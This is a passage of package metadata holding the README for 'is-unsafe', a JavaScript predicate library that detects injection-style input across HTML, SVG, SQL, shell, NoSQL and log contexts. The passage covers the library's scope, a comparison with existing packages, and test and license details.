`MatchResult`. |\n| **False positives over false negatives** | In parser context, blocking a legitimate value is better than passing a malicious one. |\n\n---\n\n## What `is-unsafe` is NOT\n\n- **Not a sanitizer** — it does not modify strings\n- **Not a middleware** — no Express/Koa coupling\n- **Not a firewall** — it does not block requests\n- **Not a complete security solution** — one layer of defence-in-depth\n\n---\n\n## Comparison with existing packages\n\n| Package | Problem |\n|---------|---------|\n| `dompurify` | Requires DOM/jsdom. Sanitizer, not predicate. Has documented SVG/XML bypass vulnerabilities. |\n| `xss` | Sanitizer — rewrites the string. HTML-only. No predicate API. |\n| `xss-filters` | Explicitly documented as unable to be used inside `<svg>`, `<object>`, `<embed>`. |\n| `xss-checker` | 465 kB payload list, 6 years abandoned, 5 dependents. |\n| `is-sql-injection` | Philosophically closest, but v1.0.0 only, 8 years abandoned, 19 dependents. |\n| `sql-injection` | Express middleware. Has an active ReDoS CVE on its own detection patterns. |\n| **`is-unsafe`** | Actively maintained. DOM-free. Pure predicate. Tree-shakeable. Covers HTML, XML, SVG, SQL (two tiers), SHELL, REDOS, NOSQL, and LOG as distinct contexts. |\n\nThe `SVG` context is the key differentiator for XSS — no existing package covers SVG-specific vectors (`xlink:href`, `foreignObject`, `animate`/`set` element attacks). The `XML` context covers parser-level attacks that DOMPurify has documented bypass vulnerabilities for. The `NOSQL` and `LOG` contexts (including Log4Shell) have no equivalent in any current predicate package.\n\n---\n\n## Running tests\n\n```sh\nnpm install\nnpm test\n```\n\nTests use [Jasmine](https://jasmine.github.io/). Source in `src/`, specs in `specs/`.\n\n---\n\n## License\n\nMIT\n","readmeFilename":"README.md"}